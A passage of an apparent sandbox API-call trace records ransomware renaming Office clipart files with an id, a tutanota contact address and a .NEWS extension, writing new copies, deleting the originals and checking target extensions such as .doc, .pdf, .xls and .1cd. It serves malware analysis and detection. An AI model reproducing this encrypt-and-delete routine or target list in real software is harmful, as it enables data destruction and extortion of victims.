CloseHandle (hObject=0x4f4) returned 1 [0180.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf")) returned 0x220 [0180.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0181.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0181.123] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.123] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0181.177] GetLastError () returned 0x0 [0181.177] ReadFile (in: hFile=0x4f0, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x3734, lpOverlapped=0x0) returned 1 [0181.179] WriteFile (in: hFile=0x3f4, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x3740, lpOverlapped=0x0) returned 1 [0181.180] ReadFile (in: hFile=0x4f0, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.181] WriteFile (in: hFile=0x3f4, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0181.181] SetEndOfFile (hFile=0x3f4) returned 1 [0181.181] CloseHandle (hObject=0x3f4) returned 1 [0181.181] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.181] SetEndOfFile (hFile=0x4f0) returned 1 [0181.185] CloseHandle (hObject=0x4f0) returned 1 [0181.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0181.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf")) returned 1 [0181.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0181.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0181.187] lstrlenW (lpString=".doc") returned 4 [0181.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.187] lstrlenW (lpString=".docx") returned 5 [0181.187] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0181.187] lstrlenW (lpString=".pdf") returned 4 [0181.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.187] lstrlenW (lpString=".xls") returned 4 [0181.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.187] lstrlenW (lpString=".xlsx") returned 5 [0181.187] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0181.187] lstrlenW (lpString=".ppt") returned 4 [0181.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0181.187] lstrlenW (lpString=".zip") returned 4 [0181.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.187] lstrlenW (lpString=".rar") returned 4 [0181.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.187] lstrlenW (lpString=".bz2") returned 4 [0181.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.187] lstrlenW (lpString=".7z") returned 3 [0181.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0181.188] lstrlenW (lpString=".dbf") returned 4 [0181.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0181.188] lstrlenW (lpString=".1cd") returned 4 [0181.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0181.188] lstrlenW (lpString=".jpg") returned 4 [0181.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0181.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0181.188] lstrlenW (lpString=".doc") returned 4 [0181.188] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.188] lstrlenW (lpString=".docx") returned 5 [0181.188] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0181.188] lstrlenW (lpString=".pdf") returned 4 [0181.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.188] lstrlenW (lpString=".xls") returned 4 [0181.188] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.188] lstrlenW (lpString=".xlsx") returned 5 [0181.188] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0181.188] lstrlenW (lpString=".ppt") returned 4 [0181.188] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0181.188] lstrlenW (lpString=".zip") returned 4 [0181.188] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.188] lstrlenW (lpString=".rar") returned 4 [0181.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.188] lstrlenW (lpString=".bz2") returned 4 [0181.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.188] lstrlenW (lpString=".7z") returned 3 [0181.189] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0181.189] lstrlenW (lpString=".dbf") returned 4 [0181.189] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0181.189] lstrlenW (lpString=".1cd") returned 4 [0181.189] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF") returned 68 [0181.189] lstrlenW (lpString=".jpg") returned 4 [0181.189] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.189] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0181.189] lstrlenW (lpString="J0107150.WMF") returned 12 [0181.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0181.190] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=13456) returned 1 [0181.190] CloseHandle (hObject=0x4f0) returned 1 [0181.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf")) returned 0x220 [0181.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0181.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0181.191] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.191] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0181.193] GetLastError () returned 0x0 [0181.193] ReadFile (in: hFile=0x4f0, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x3490, lpOverlapped=0x0) returned 1 [0181.196] WriteFile (in: hFile=0x3f4, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x34a0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x34a0, lpOverlapped=0x0) returned 1 [0181.197] ReadFile (in: hFile=0x4f0, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.197] WriteFile (in: hFile=0x3f4, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0181.197] SetEndOfFile (hFile=0x3f4) returned 1 [0181.197] CloseHandle (hObject=0x3f4) returned 1 [0181.197] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.197] SetEndOfFile (hFile=0x4f0) returned 1 [0181.200] CloseHandle (hObject=0x4f0) returned 1 [0181.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0181.201] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf")) returned 1 [0181.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0181.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0181.202] lstrlenW (lpString=".doc") returned 4 [0181.202] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.202] lstrlenW (lpString=".docx") returned 5 [0181.202] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0181.202] lstrlenW (lpString=".pdf") returned 4 [0181.202] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.202] lstrlenW (lpString=".xls") returned 4 [0181.202] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.203] lstrlenW (lpString=".xlsx") returned 5 [0181.203] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0181.203] lstrlenW (lpString=".ppt") returned 4 [0181.203] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0181.203] lstrlenW (lpString=".zip") returned 4 [0181.203] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.203] lstrlenW (lpString=".rar") returned 4 [0181.203] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.203] lstrlenW (lpString=".bz2") returned 4 [0181.203] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.203] lstrlenW (lpString=".7z") returned 3 [0181.203] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0181.203] lstrlenW (lpString=".dbf") returned 4 [0181.203] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0181.203] lstrlenW (lpString=".1cd") returned 4 [0181.203] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0181.203] lstrlenW (lpString=".jpg") returned 4 [0181.203] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0181.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0181.203] lstrlenW (lpString=".doc") returned 4 [0181.203] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0181.203] lstrlenW (lpString=".docx") returned 5 [0181.203] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0181.204] lstrlenW (lpString=".pdf") returned 4 [0181.204] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0181.204] lstrlenW (lpString=".xls") returned 4 [0181.204] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0181.204] lstrlenW (lpString=".xlsx") returned 5 [0181.204] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0181.204] lstrlenW (lpString=".ppt") returned 4 [0181.204] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0181.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0181.204] lstrlenW (lpString=".zip") returned 4 [0181.204] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0181.204] lstrlenW (lpString=".rar") returned 4 [0181.204] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0181.204] lstrlenW (lpString=".bz2") returned 4 [0181.204] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0181.204] lstrlenW (lpString=".7z") returned 3 [0181.204] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0181.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0181.204] lstrlenW (lpString=".dbf") returned 4 [0181.204] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0181.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0181.204] lstrlenW (lpString=".1cd") returned 4 [0181.204] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0181.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0181.204] lstrlenW (lpString=".jpg") returned 4 [0181.204] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0181.204] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0181.204] lstrlenW (lpString="J0107152.WMF") returned 12 [0181.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0181.207] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=22532) returned 1 [0181.207] CloseHandle (hObject=0x4f0) returned 1 [0181.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf")) returned 0x220 [0181.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0181.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0181.208] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.208] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0181.209] GetLastError () returned 0x0 [0181.209] ReadFile (in: hFile=0x4f0, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x5804, lpOverlapped=0x0) returned 1 [0181.212] WriteFile (in: hFile=0x3f4, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x5810, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x5810, lpOverlapped=0x0) returned 1 [0181.213] ReadFile (in: hFile=0x4f0, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.214] WriteFile (in: hFile=0x3f4, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0181.214] SetEndOfFile (hFile=0x3f4) returned 1 [0181.214] CloseHandle (hObject=0x3f4) returned 1 [0181.214] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.214] SetEndOfFile (hFile=0x4f0) returned 1 [0181.268] CloseHandle (hObject=0x4f0) returned 1 [0181.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0181.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf")) returned 1 [0182.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0182.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0182.024] lstrlenW (lpString=".doc") returned 4 [0182.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.025] lstrlenW (lpString=".docx") returned 5 [0182.025] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0182.025] lstrlenW (lpString=".pdf") returned 4 [0182.025] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.025] lstrlenW (lpString=".xls") returned 4 [0182.025] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.025] lstrlenW (lpString=".xlsx") returned 5 [0182.025] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0182.025] lstrlenW (lpString=".ppt") returned 4 [0182.025] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0182.025] lstrlenW (lpString=".zip") returned 4 [0182.025] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.025] lstrlenW (lpString=".rar") returned 4 [0182.025] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.025] lstrlenW (lpString=".bz2") returned 4 [0182.025] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.025] lstrlenW (lpString=".7z") returned 3 [0182.025] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0182.025] lstrlenW (lpString=".dbf") returned 4 [0182.026] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0182.026] lstrlenW (lpString=".1cd") returned 4 [0182.026] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0182.026] lstrlenW (lpString=".jpg") returned 4 [0182.026] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0182.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0182.026] lstrlenW (lpString=".doc") returned 4 [0182.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.026] lstrlenW (lpString=".docx") returned 5 [0182.026] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0182.026] lstrlenW (lpString=".pdf") returned 4 [0182.026] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.026] lstrlenW (lpString=".xls") returned 4 [0182.026] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.026] lstrlenW (lpString=".xlsx") returned 5 [0182.026] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0182.026] lstrlenW (lpString=".ppt") returned 4 [0182.026] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0182.026] lstrlenW (lpString=".zip") returned 4 [0182.026] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.026] lstrlenW (lpString=".rar") returned 4 [0182.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.027] lstrlenW (lpString=".bz2") returned 4 [0182.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.028] lstrlenW (lpString=".7z") returned 3 [0182.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0182.028] lstrlenW (lpString=".dbf") returned 4 [0182.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0182.028] lstrlenW (lpString=".1cd") returned 4 [0182.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF") returned 68 [0182.028] lstrlenW (lpString=".jpg") returned 4 [0182.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.028] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0182.028] lstrlenW (lpString="J0107264.WMF") returned 12 [0182.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.030] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=5272) returned 1 [0182.030] CloseHandle (hObject=0x36c) returned 1 [0182.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf")) returned 0x220 [0182.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 